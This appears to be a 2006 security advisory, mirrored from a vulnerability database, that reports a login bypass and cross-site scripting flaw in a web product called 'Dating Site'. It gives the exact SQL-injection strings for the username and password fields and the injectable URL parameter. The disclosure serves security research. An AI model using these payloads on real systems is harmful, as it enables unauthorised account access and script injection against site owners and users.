Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15139
HistoryNov 18, 2006 - 12:00 a.m.

Dating Site [ login bypass & xss]

2006-11-1800:00:00
vulners.com
33

vendor site:http://www.hotwebapp.com/
product:Dating Site
bug:injection sql & xss
risk:high

log in with :
username = ' or '1' = '1
passwd = ' or '1' = '1

xss get :
/login_form.asp?msg=[xss here]

laurent gaffie & benjamin mosse
http://s-a-p.ca/
contact: [email protected]